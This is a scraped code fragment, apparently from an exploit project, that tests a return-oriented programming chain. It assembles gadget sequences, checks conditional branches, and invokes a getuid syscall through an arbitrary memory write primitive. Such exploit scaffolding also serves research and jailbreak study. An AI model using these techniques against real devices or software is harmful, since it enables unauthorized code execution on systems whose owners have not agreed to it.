||||||
|
|
||||||
chain.push_restore(true);
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(2);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.run();
|
|
||||||
debug_log(`state1 must be 1: ${state1}`);
|
|
||||||
if (state1[0] !== 1) {
|
|
||||||
die('if branch not taken');
|
|
||||||
}
|
|
||||||
|
|
||||||
const state2 = new Uint8Array(8);
|
|
||||||
debug_log('test if rax != 0');
|
|
||||||
chain.clean();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rsi; ret');
|
|
||||||
chain.push_value(get_view_vector(state2));
|
|
||||||
chain.push_save();
|
|
||||||
chain.push_gadget('pop rax; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
|
|
||||||
chain.start_branch();
|
|
||||||
chain.push_restore();
|
|
||||||
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(1);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.end_branch();
|
|
||||||
|
|
||||||
chain.push_restore(true);
|
|
||||||
chain.push_gadget('pop rcx; ret');
|
|
||||||
chain.push_constant(2);
|
|
||||||
chain.push_gadget('mov qword ptr [rsi], rcx; ret');
|
|
||||||
chain.push_end();
|
|
||||||
|
|
||||||
chain.run();
|
|
||||||
debug_log(`state2 must be 2: ${state2}`);
|
|
||||||
if (state2[0] !== 2) {
|
|
||||||
die('if branch taken');
|
|
||||||
}
|
|
||||||
|
|
||||||
debug_log('test syscall getuid()');
|
|
||||||
chain.clean();
|
|
||||||
// Set the return value to some random value. If the syscall worked, then
|
|
||||||
// it will likely change.
|
|
||||||
const magic = 0x4b435546;
|
|
||||||
rw.write32(chain._return_value, 0, magic);
|
|
||||||
|
|
||||||
const res = chain.syscall('getuid');
|
|
||||||
|
|
||||||
debug_log(`return value: ${res}`);
|
|
||||||
if (res.eq(magic)) {
|
|
||||||
die('syscall getuid failed');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
test_rop(Chain);
|
|
||||||
Reference in New Issue
Block a user